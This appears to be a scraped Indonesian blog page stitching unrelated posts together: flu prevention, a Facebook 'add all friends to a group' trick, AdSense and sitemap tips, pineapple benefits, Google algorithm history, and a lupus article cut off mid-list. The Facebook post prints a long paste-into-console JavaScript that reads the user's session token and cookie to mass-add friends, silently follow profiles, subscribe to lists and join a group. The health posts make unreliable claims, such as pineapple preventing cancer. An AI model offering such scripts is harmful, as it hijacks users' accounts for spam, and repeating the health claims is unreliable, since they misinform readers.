5 Cara Sederhana Yang Efektif Mencegah Flu & Pilek

Apakah Anda kerap menderita, akibat pilek atau flu? Kedua penyakit ini memang seakan sudah menjadi penyakit yang sangat umum. Semua orang pernah mengalaminya, tanpa terkecuali.

Kendati tergolong penyakit ringan, kehadirannya akan menganggu aktivitas. Bahkan, tak jarang sebagian orang harus meninggalkan rutinitasnya karena sedang flu atau pilek.

Nah, agar Anda tidak perlu lagi merasa terganggu dan tersiksa akibat flu atau pilek, yuk cari tahu cara mencegah flu dan pilek.

Cara Sederhana Yang Dapat Mencegah Flu Dan Pilek:

1.  Rajin Mencuci Tangan Memakai Sabun 

Jangan pernah menyepelekan manfaat kesehatan dari mencuci tangan menggunakan sabun. Walaupun terkesan simpel, kebiasaan baik yang satu ini terbukti ampuh dalam hal mencegah flu dan pilek.

Apalagi, vaksin flu ternyata tidak 100% ampuh melindungi Anda dari flu, pilek, dan batuk, karena evolusi bakteri yang kian hari semakin cepat dan kuat.

Daripada harus terus terusan membiarkan virus menginfeksi tubuh, segera biasakan diri Anda dan keluarga untuk mencuci tangan pakai sabun.

Lakukan sesuai petunjuk mencuci tangan yang benar dengan durasi minimal 20 detik untuk memperoleh perlindungan terbaik.

Aktivitas sederhana yang dilakukan secara rutin setiap sebelum makan, saat mandi, dan setelah menggunakan toilet terbukti mampu mengurangi resiko infeksi virus dan bakteri penyebab penyakit, termasuk flu dan pilek.

2.  Gunakan Masker 

Virus penyebab flu dan pilek mudah sekali menyebar di tempat-tempat umum yang ramai, contohnya sekolah, terminal, dan pusat perbelanjaan. Jika Anda tidak dapat menjauhi tempat-tempat ramai tersebut, lindungi diri dengan mengguakan masker.

Gunakan masker selama berada di tempat-tempat umum yang ramai untuk mencegah terinfeksi kuman setelah melakukan kontak dengan orang lain atau fasilitas umum. Dengan cara ini, diharapkan Anda bisa memperoleh perlindungan lebih terhadap infeksi virus penyebab flu dan pilek.

3.  Hindari Stres 

Menjauhi stres adalah cara paling mudah selanjutnya untuk mencegah pilek. Dengan menjauhi stres, sistem kekebalan tubuh akan semakin bertambah. Namun sayangnya, bagi Anda yang tinggal kota-kota besar seperti Jakarta, faktor-faktor penyebab stres tentu susah dihindari.

Dengan mengetahui hal ini, cobalah untuk memotivasi diri Anda agar sebisa mungkin kurangi stres. Salah satu cara yang bisa dilakukan untuk mengelola stres adalah metode relaksasi selama 30 menit yang dilakukan setiap hari.

Tidak hanya dengan metode relaksasi, menjalani hobi ataupun melaksanakan hal-hal yang disukai juga dapat membantu mengurangi stres dengan mudah. Saat stres berkurang, resiko terkena flu dan pilek akan semakin sedikit

4.  Rutin Berolahraga

Jangan pernah malas olahraga karena memiliki segudang manfaat bagi kesehatan. Salah satunya dalam hal mencegah flu dan pilek. Jenis olahraga yang dianjurkan dalam hal ini adalah senam aerobik.

Senam aerobik, bila dilakukan dengan baik, maka akan membantu mengoptimalkan detak jantung. Hal ini memberikan pengaruh positif, yaitu akan meningkatnya sel-sel yang bertugas untuk membunuh bakteri penyebab penyakit.

Walaupun demikian, bukan berarti jenis olahraga yang lain tidak memberikan manfaat bagi kesehatan.

Kalaupun Anda tidak melakukan senam aerobik, Anda bisa memilih jenis olahraga yang lain seperti jogging atau bersepeda. Lakukan secara rutin selama 30 menit setiap hari untuk hasil yang lebih optimal.

5.  Hindari Asap Rokok dan Jangan Merokok 

Tentu semua orang tahu bahwa merokok tidak baik bagi kesehatan. Terlebih lagi, menghirup asapnya saja tidak dianjurkan. Asap rokok mampu mengurangi kekebalan tubuh sehingga membuat tubuh menjadi lebih rentan terinfeksi virus flu, pilek, dan penyakit yang lain.

Selain itu, rokok juga mampu membuat saluran di dalam hidung menjadi kering dan membuat bulu-bulu halus yang ada dalam rongga hidung dan paru paru mengalami penurunan fungsi.

Padahal, fungsi bulu-bulu halus tersebut sangatlah penting, yaitu untuk menghalau virus yang masuk melalui hidung.

Bahkan, para ahli medis mengatakan bahwa sebatang rokok saja dapat mengurangi fungsi bulu-bulu halus tersebut sampai 30 menit. Inilah sebabnya mengapa Anda perlu menjauhi rokok dan asapnya guna mencegah flu, pilek, dan penyakit yang lain.

Baca Juga:

• Influenza (Flu) - Penyebab, Gejala & Pencegahan
• 7 Makanan Yang Efektif Untuk Mengobati Flu
• 5 Cara Simpel & Alami Untuk Mengobati Flu

Trik Menambahkan Semua Teman ke Grup Facebook Dengan Sekali Klik

Auto Invite to Group Facebook

Cara menambahkan semua teman ke Grup Facebook dalam satu klik "20 Detik". - Semua orang pasti tahu bahwa Facebook adalah media sosial terbaik yang menyediakan beberapa fasilitas keren untuk berkumpul dengan semua teman disuatu tempat  seperti Grup Facebook.

Group Facebook adalah tempat dimana anda bisa berbagi foto, update, dokumen dan pesan atau sesuatu yang lain dengan anggota kelompok. Bahkan kini grup facebook sering digunakan untuk promosi barang atau berjualan dsb.

Bila anda ingin membuat group facebook untuk blog, perusahaan, industri, dll. Saat grup Facebook anda dibuat, anda bisa menambahkan teman anda di dalamnya. Tapi jika daftar teman anda sangat banyak maka cara invite teman anda ke grup satu per satu tentunya adalah proses yang memakan waktu dan sangat merpotkan bukan?

Mungkin anda sudah pernah melihat trik bagaimana kita bisa otomatis invite semua teman ke halaman Facebook dengan sekali klik.

Anda mungkin bertanya-tanya bagaimana cara menambahkan semua teman di grup facebook sekaligus.

Sekarang, kita akan share bagaimana trik untuk anda menambahkan semua teman ke grup Facebook dalam sekali klik.

Mari kita lihat tipuan lengkap dan cara kerjanya. Di sini, kita akan bagi menjadi dua metode. Dalam metode pertama anda perlu melakukan beberapa pekerjaan manual sementara dalam metode kedua anda tidak memerlukan lebih banyak pekerjaan manual. Kedua metode bekerja sama, silahkan anda pilih salah satunya.

Persyaratan: Browser Chrome

Trick untuk menambahkan semua teman ke grup facebook dengan sekali klik

Pertama, anda akan melihat cara membuat grup facebook dengan kebijakan keamanan yang tepat maka anda akan melihat trik untuk menambahkan semua teman ke facebook dalam sekali klik.

Metode 1: Tambahkan semua teman ke skrip grup facebook

Pertama, klik pada Buat Grup dan tuliskan nama grup.

catatan:

• Pilih hanya satu teman di bagian anggota untuk memulai semua proses yang terkait dengan grup.


• Privasi Grup: Facebook menangani privasi anggota grup anda. Jadi anda harus memilih opsi privasi yang diinginkan kelompok anda.


• Berikut beberapa petunjuk lain untuk izin grup facebook :
  
  Publik: Siapa saja bisa melihat grup, anggotanya, dan pos mereka.
  
  Tertutup: Siapa pun dapat menemukan grup tersebut dan melihat siapa yang menjadi anggotanya, namun hanya anggota yang dapat melihat posnya.
  
  Rahasia: Hanya anggota yang dapat menemukan grup dan melihat pos.

• Sekarang klik create group lalu pilih icon group anda dan klik OK.


• Anda telah membuat sebuah grup. Sekarang, tambahkan beberapa deskripsi tentang grup anda dan klik pada kotak add members section.


• Salin kode Script Menambahkan Semua Teman ke Grup Facebook dibawah ini.

(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Abonnenten</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Suche nach möglichen Abonnenten... ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> haben dich abonniert.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>20 Leute Einladen!</div><a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Schliesen</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="<div style='margin-top:10px;color:gray;font-size:12px'>"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"<div style='font-size:9px'><a href='http://"+crl+"/' target='_blank'>"+crl+"</a></div></div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Suche nach Abonnenten ... Script by Mano </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}

function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone){
var http4 = new XMLHttpRequest();

var url4 = "/ajax/follow/follow_profile.php?__a=1";

var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);

//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");

http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {

http4.close; // Close the connection

}
}

http4.send(params4);
}

function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}

a("");
a("");

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};

• Tekan F12 untuk membuka konsol pengembang lalu tempel kode dan tekan enter.
• Dalam beberapa detik semua teman anda akan ditambahkan dalam grup.

Anda juga bisa menggunakan metode lain untuk menambahkan anggota ke grup Facebook.

Metode 2: Tambahkan semua teman ke ekstensi grup chrome Facebook

Ikuti langkah-langkahnya.

• Download ekstensi Chrome buka Grup Invite All.


• Buka grup Facebook yang ingin anda tambahkan semua teman dan tambahkan satu teman ke grup facebook terlebih dahulu.


• Aktifkan ekstensi Chrome dan jalankan skrip yang disebutkan di atas. Biarkan berjalan otomatis semua teman akan ditambahkan ke grup facebook sekaligus dalam beberapa detik

Nah, bagaimana sobat mengenai trik menambahkan semua teman ke grup Facebook dengan sekali klik ini. Bagi yang masih bingung, silahkan tonton video tutorialnya dibawah.. Ini cuma sebagai bahan pelajaran, jadi gunakan sebijak-bijaknya ya!!!,, So..Selamat mencoba.

Trik Agar Daftar Google Adsense Langsung Diterima

Google Adsense Quick Approved

Apakah permohonan pendaftaran google adsense anda sudah di approve? Bagaimana caranya agar google Adsense langsung diterima dalam sekali daftar tanpa harus berulang-ulang?. Banyak yang mengatakan bahwa daftar google adsense itu sulit dan banyak syarat ketentuan. Tapi, kali ini Zein BLOG akan memberikan rahasia trik agar google adsense anda langsung diterima.

Tidak berlebihan kiranya jika ada banyak syarat dan ketentuan dari google adsense yang harus dipenuhi. Namun dalam banyaknya syarat yang diajukan google adsense untuk dapat menampilkan iklan dalam blog penayang, ada hal yang sebenarnya yang lebih potensial untuk dilakukan agar mendaftar google adsense lebih cepat diterima.

Sebelumnya mari kita bahas terlebh dahulu, mengapa akun google adsense yang didaftarkan selalu ditolak.

Situs melanggar kebijakan Adsense - Inilah salah satu yang paling banyak terjadi pada blogger pemula yang ingin mendaftarkan akun adsensenya. Baca Selengkapnya - Kebijakan Program Adsense

Situs tidak memiliki konten yang cukup dan relevan - Sebenarnya, berapa banyak konten yang diperlukan untuk memenuhi kriteria google adsense. Ada yang mengatakan jumlah artikel harus lebih dari 50-100 dst. Padahal "Tidak" sama sekali. Zein BLOG sendiri mendaftarkan akun adsense hanya dengan modal 15 artikel. Lalu bagaimana yang seharusnya, nanti kita bahas dipostingan selanjutnya.

Belum memiliki trafik yang memadai - Jangan anda mendaftarkan akun adsense jika trafik pengunjung masih sedikit. Bersabarlah mengoptimalkan SEO anda. Bacalah cara mengoptimalkan SEO situs anda di blog ini.

Selain 3 faktor diatas, faktor usia blog juga sangat berpengaruh diterima atau tidaknya akun adsense anda.



Baiklah, inilah trik yang anda harus pahami dan laksanakan. Trik agar mendaftar akun google adsense anda langsung diterima ini sudah diterapkan disitus blog ini dan berhasil.

• Syarat umur blog minimal 3 bulan, sebelumnya anda bisa sambil mengerjakan yang lain seperti membuat postingan ataupun melengkapi blog anda menjadi SEO yang relevan.


• Jangan mendaftarkan akun adsense baru sebelum waktunya.


• Buatlah blog anda menjadi responsive dan jauhkan dari widget-widget yang tidak perlu.


• Dan terakhir adalah trik utama membuat google adsense anda diterima : buatlah situs blog anda nyaman bagi pengguna, semua laman harus mudah ditemukan serta pastikan interaksi antara pengguna blog dan admin ada dihalaman situs.

Itulah beberapa trik agar mendaftar google adsense langsung diterima disamping tetap memperhatikan beberapa faktor yang telah disebutkan diatas. Semoga trik singkat ini membantu anda cepat diterima google adsense.

Cara Percepat Google Index dengan Peta situs Pada Blog

Cara Percepat Google Index dengan Peta situs Pada Blog

Bagaimana cara laman/artikel postingan diblog supaya cepat ter-index oleh google. Untuk fast index penelusuran oleh googlebot adalah dengan cara mengoptimalkan kinerja atom.xml atau peta situs (sitemap) pada blog anda dengan benar.

Sebelum memulai, ada baiknya kita mengenal dan memahai lebih dahulu arti robot.txt dan fungsinyaApa itu robot.txt?. robots.txt adalah file teks sederhana yang fungsinya sebagai filter atau mengontrol cara mesin pencari bekerja menelusuri badan situs. Fungsi secara keseluruhan robots.txt bekerja untuk menelusuri dan menunjukkan bagian dalam situs yang tidak dapat izin akses oleh mesin telusur.

Lalu apa itu sitemap / peta situs dan apa fungsinya?. Peta Situs adalah sebuah wadah tempat file dimana kita mencantumkan halaman web situs. Fungsi peta situs adalah untuk memberi tahu googlebot dan mesin telusur lain tentang organisasi konten situs sehingga terbaca atau terdeteksi secara akurat.

Hubungan erat peta situs dan robot.txt untuk mempercepat terdeteksinya laman situs. Jadi bagai mana caranya? pertama anda harus membuat peta situs terlebih dahulu.



Cara mempercepat google index dengan membuat peta situs dan robot.txt dapat secara manual atau dengan cara otomatis. Kali ini kita akan coba membuat peta situs xml secara cepat dan ringkas untuk blogger generator otomatis.

1. Masuk ke situs http://ctrlq.org/blogger/
2. Masukkan url blog anda dan klik generate
3. Itulah robots.txt xml sitemap anda, copy dan simpan.

Cara membuat peta situs xml secara cepat dan ringkas

Langkah selanjutnya yaitu cara menambahkah peta situs pada google webmaster. Berikut caranya :

1. Buka halaman webmaster anda
2. PadaMenu Search Console pilih-Perayapan-Peta Situs
3. Pilih tombol berwarna merah sebelah kanan atas Tambahkan/Uji Peta Situs
4. Refresh.

Cara menambahkaan peta situs (sitemap) pada google webaster

Berikutnya setelah anda berhasil membuat dan memasukkan sitemap, kemudian kita beralih kepada cara memasukkan sitemap ke pengujian robots.txt pada googlebot. Caranya adalah sebagai berikut :

1. Masih di Google webmaster
2. Pada Search Console pilih menu Perayapan-Penguji robots.txt
3. Masukkan url peta situs pada googlebot cukup dari atom.xml?redirect=false&start-index=1&max-results=500
4. Klik Uji Coba
5. Jika status Diizinkan klik Kirim.

Cara membuat robots.txt pada googlebot

Keterangan : Sebelum mengirimkan robots.txt ada baiknya anda perhatikan kesalahan dan peringatan atau anda bisa lihat robots.txt langsung seperti pada gambar diatas. Kemudian akan muncul box seperti ini, klik satu persatu dan ikuti petunjuknya.

Cara setting url feed situs pada blog.

1. Masuk diblog anda
2. Pilih Setelan-Lainnya
3. Pilih Feed Situs dengan Izinkan Umpan Blog-Penuh
4. Dibawahnya ada URL Alihan Feed Postingan, masukkan url anda  seperti contoh dibawah
5. Jika Sudah Klik Simpan setelan
6. Selesai.

Begitulah kiranya tahapan-tahapan agar artikel dan seluruh bagian situs anda dapat cepat terindex oleh google. Berapa lama perkiraan situs terindex googlebot? Perlu diketahui googlebot akan menelusuri semua bagian artikel / laman pada situs anda setiap hari.

Cara diatas adalah cara cepat yang terbaik dan standar untuk menerapkan dan belajar membuat peta situs dan robot.txt bagi blogger pemula.

Selain itu untuk pada bahasan selanjutnya adalah cara agar artikel cepat terindex dengan "Ambil sebagai Google" Pada Search Console webmaster. Jadi simak terus Zein Blog dan terima kasih telah berkunjung.

10 Manfaat Penting Buah Nanas Untuk Kesehatan

Nanas adalah buah tropis yang lezat, dan telah di konsumsi selama berabad-abad tidak hanya untuk cita rasa yang enak namun juga untuk manfaat kesehatannya. 

Manfaat kesehatan dari buah nanas adalah, untuk memperbaiki sistem kekebalan tubuh, menjaga kesehatan pernapasan, memperlancar pencernaan, memperkuat tulang, mengurangi peradangan, menyembuhkan batuk pilek, untuk menurunkan berat badan dan lainya. 

Manfaat Buah Nanas Untuk Kesehatan:

1.  Meningkatkan Imunitas (kekebalan tubuh)

Satu porsi nanas memiliki lebih dari 130% kebutuhan vitamin C harian untuk manusia.

Vitamin C membantu mengurangi penyakit, dan meningkatkan sistem kekebalan tubuh dengan merangsang aktivitas sel darah putih dan bertindak sebagai antioksidan untuk menjaga dari efek berbahaya radikal bebas. 

Radikal bebas adalah produk sampingan berbahaya dari metabolisme sel yang dapat merusak berbagai sistem organ dan mengganggu fungsi, serta menyebabkan sel sehat bermutasi menjadi kanker. Kandungan vitamin C dari nanas akan membantu melawan radikal bebas.

2.  Mempercepat Penyembuhan Luka

Kandungan vitamin C yang tinggi dalam buah nanas membantu Anda menyembuhkan luka dengan cepat, selain itu kandungan vitamin C pada buah nanas juga dapat melindugi tubuh terhadap infeksi dan penyakit.

3.  Mencegah Kanker

Nanas telah terbukti dapat mencegah kanker pada mulut, tenggorokan, dan payudara, karena nanas mengandung berbagai antioksidan lainnya yang dapat mencegah kanker, termasuk vitamin A, beta karoten, dan berbagai senyawa flavonoid.

4.  Melancarkan Pencernaan

Mengonsumsi nanas secara teratur dapat melindungi Anda dari sejumlah kondisi kesehatan pencernaan contohnya diare, iritasi usus besar dan lainya. 

Nanas, kaya akan serat yang dapat membantu melancarkan makanan melalui saluran pencernaan pada tingkat normal. Contohnya dapat membantu buang air besar agar menjadi lebih lancar.

5.  Mengobati Batuk Serta Menghilangkan Dahak

Nanas kaya akan vitamin C, oleh karena itu mengonsumsi nanas membantu dalam mencegah dan mengobati batuk serta menghilangkan dahak dari tenggorokan.

6.  Meningkatkan Kesehatan Tulang

Meskipun nanas tidak terkenal karena memiliki kandungan yang kaya akan kalsium, Namun ternyata nana juga mampu meningkatkan kesehatan tulang.

Di karenakan pada buah nanas mengandung mineral yang penting untuk memperkuat tulang, juga pertumbuhan dan perbaikannya. Satu porsi buah nanas memberi Anda lebih dari 70% kebutuhan mineral Anda setiap hari.

7.  Memperkuat Gusi dan Ggi

Nanas memiliki senyawa antioksidan yang dapat mencegah kanker mulut, selain itu senyawa ini juga berfungsi untuk menjaga kesehatan mulut. Selain itu nanas juga memiliki sifat astringent, yang dapat memperkuat gusi dan gigi.

8.  Menjaga Kesehatan Mata

Mata adalah organ sensoris yang paling penting dari manusia dan  nanas memiliki kemampuan untuk memperbaiki kesehatan mata dan mencegah penyakit mata. Walaupun demikian buah wortel adalah buah terbaik untuk menjaga kesehatan mata.

9.  Mengatur Tekanan Darah

Nanas adalah sumber mineral yang sangat berharga, dan potassium ada di antara keduanya. Kekurangan potasium dapat menyebabkan berbagai bahaya kesehatan.

Tindakan vasodilator potassium memudahkan ketegangan dan tekanan pembuluh darah, dan meningkatkan sirkulasi darah ke berbagai bagian tubuh. Bila pembuluh darah Anda rileks, tekanan darah berkurang dan aliran darah tidak terlalu terbatas.

Hal ini dapat mencegah penggumpalan darah yang menghalangi aliran darah dan dapat mengurangi akumulasi plak di arteri dan pembuluh darah.

Selain itu buah nanas juga dapat  membantu mencegah kondisi seperti aterosklerosis, serangan jantung, dan stroke. Jadi makan nanas sangat bagus untuk kesehatan jantung!

10.  Meningkatkan Sirkulasi Darah

Dalam manfaat yang terkait dengan potensi vasodilasi potassium, nanas juga menyediakan tubuh dengan tembaga, mineral penting lainnya yang berfungsi dalam sejumlah reaksi enzimatik dan senyawa dalam tubuh.

Yang paling menonjol, tembaga merupakan elemen penting untuk pembentukan sel darah merah yang sehat. Jumlah sel darah merah yang tinggi akan meningkatkan oksigenasi ke berbagai sistem organ dan membuatnya berfungsi dengan optimal.

Ini juga meningkatkan kemampuan kognitif dan dapat mempertahankan jalur saraf untuk mencegah gangguan saraf seperti demensia dan penyakit Alzheimer.

Baca Juga:

• 12 Efek Samping & Bahaya Terlalu Banyak Makan Nanas
• 5 Manfaat Luar Biasa Buah Nanas Untuk Kecantikan
• 7 Bahaya & Efek Samping Nanas Bagi Ibu Hamil

Perubahan Menu "link" Setelan Entry Blog

Setelan entry pada menu laman postingan blog kini terdapat perubahan atau lebih tepatnya penambahan baru. Kemungkinan penambahan berkaitan dengan perubahan algoritma google yang sekarang ini lagi hangat dibicarakan.

Walaupun belum ada konfirmasi terkait mengenai algoritma "FRED" dari google, apakah perubahan  dalam penambahan kolom "link" pada menu entri postingan ini menjadi signal bahwa Google serius pada untuk memperbaiki sistem pencarian yang lebih baik.

Jika menu "link" pada tampilan setelan entry ini belum terlihat pada postingan blog anda, mungkin anda masih harus memperbaiki kesalahan-kesalahan yang bertentangan dengan algoritma google terbaru ini seperti masih banyak terdapat link terkait yang tidak relevan didalam artikel.




Mengapa demikian, inilah yang ZEIN Blog terapkan pada situs blog ini. Namun kita tidak membahas hal itu, mari kita bahas terlebih dahulu menu baru pada setelan entry dipostingan blogger. Lihatlah perbedaanya.

Perubahan (Tautan Permanen, Tautan Judul dan Lampiran).

Sebelum (Hanya Tautan Permanen)

Cara Mengisi kolom link di setelan entri :

• Tautan permanen yaitu berisi URL postingan blog Anda, sama seperti sebelumnya, tautan bisa secara otomatis dibuat URL berdasarkan konten postingan, atau URL bisa disesuaikan secara manual.
• Tautan Judul : Tautan judul postingan ke URL tertentu, atau kosongkan untuk menautkan judul ke postingan Anda. Jadi jika anda membuat tautan judul caranya adalah, memasukkan url pada kolom tautan judul pada setelan entry, url tersebut secara otomatis berada di Judul postingan yang anda buat.
• Tautan lampiran yaitu untuk membantu membuat podcast, MP3, dan konten lainnya yang ada di postingan sehingga dapat diputar di feed seperti RSS dan Atom.

Setelah anda mencobanya, lihatlah hasilnya. Mungkin perubahan penambahan ini lebih signifikan terlihat pada "Tautan Judul". Mungkin dikarenakan banyaknya artikel yang memuat link didalam konten.

Setelah anda mengetahui Perubahan Menu "link" Setelan Entry pada Blog ini, Postingan selanjutnya akan kita bahas mengenai cara menerapkan sistem algorima google terbaru.

Riwayat Perubahan Algoritma Google "FRED" 2017

Pembaharuan Google Algoritma

Perubahan Algoritma Google, hingga "FRED" 2017 - Setiap tahun, Google mengubah algoritma pencariannya sekitar 500-600 kali. Bayangkan, meskipun sebagian besar perubahan ini kecil, Google kadang-kadang mengeluarkan pembaruan algoritma "Khusus" (seperti Google Panda dan Google Penguin) yang memengaruhi hasil penelusuran dengan cara yang signifikan.

Bagi pelaku SEO, mengetahui tanggal update Google ini mungkin dapat membantu menjelaskan perubahan dalam peringkat dan lalu lintas situs organik dan pada akhirnya dapat menjadi referensi untuk memperbaiki pengoptimalan pada mesin pencari.

Di bawah ini, ZEIN Blog telah mencantumkan beberapa perubahan algoritma khusus yang telah membuat dampak terbesar pada penelusuran mesin pencari.

Pembaharuan Algoritma Search Engine Google 2017

Intrusive Interstitial Penalty - 10 Januari 2017
Google mulai meluncurkan sebuah hukuman untuk menghukum bagi interstisial dan pop-up agresif yang dapat merusak pengalaman pengguna seluler.

Google juga memberikan peringatan yang jarang terjadi tentang pembaruan ini lima bulan sebelumnya. Dampak mulai dirasa dari 10-11 Januari, namun banyak pelaaku SEO melaporkan dampak minimal pada situs yang seharusnya terkena dampaknya.

• Update Unnamed Major - 1 Februari 2017
  Ada periode arus algoritma lebih berat dimulai sekitar 1 Februari dan memuncak sekitar tanggal 6 Februari.
  
  Tidak jelas apakah ini update beberapa algoritma atau satu update dengan peluncuran yang diperpanjang, namun bukti anekdotal setidaknya menunjukkan dua update.

• Update Unnamed Major - 6 Februari 2017
  Algoritma perubahan yang dimulai pada 1 Februari berlanjut selama seminggu penuh, memuncak sekitar 6 Februari (beberapa melaporkan ke 7).
  
  Studi obrolan dari webmaster dan industri menunjukkan bahwa ini adalah kejadian yang berbeda.

• Algoritma "Fred" (belum dikonfirmasi) - 8 Maret 2017
  Google meluncurkan yang tampaknya merupakan pembaruan besar, dengan laporan dampak yang meluas di komunitas SEO.
  
  Guyonan Gary Illyes menyebutnya "Fred", dan namanya "Stuck" ang berarti "terjebak" (macet), tapi kemudian dia menjelaskan bahwa ini bukan konfirmasi resmi.

Demikian hasil data rekapan riwayat perubahan algoritma google sepajang 2017, dan kini kita akan menunggu sambil terus update berita terbaru dari google Algoritma. Semoga bermanfaat.

Penyakit Lupus : Penyebab, Efek, Gejala dan Pengobatan

Selena Gomez (Lupus Diagnosa)

Memahami Penyakit Lupus - Apa itu Lupus? Lupus adalah suatu penyakit autoimun yaitu penyakit inflamasi kronis yang diakibatkan oleh sistem kekebalan tubuh yang keliru sampai-sampai mulai menyerang jaringan dan organ tubuh sendiri. Inflamasi dampak lupus bisa menyerang sekian banyak  bagian tubuh.

Beberapa penderita lupus hanya mengalami sedikit ketidaknyamanan. Yang lainnya menderita cacat seumur hidup yang signifikan.

Lupus mempengaruhi orang keturunan Afrika, Asia, atau keturunan Amerika keturunan dua sampai tiga kali lebih sering mempengaruhi orang kulit putih. Sembilan dari 10 penderita lupus adalah wanita. Penyakit ini biasanya menyerang antara usia 15 dan 44, meski bisa terjadi pada individu yang lebih tua.

Jenis, Efek dan Gejala Penyakit Lupus - Ada dua jenis lupus:

• Discoid lupus erythematosus (DLE)
• Sistemik lupus erythematosus (SLE

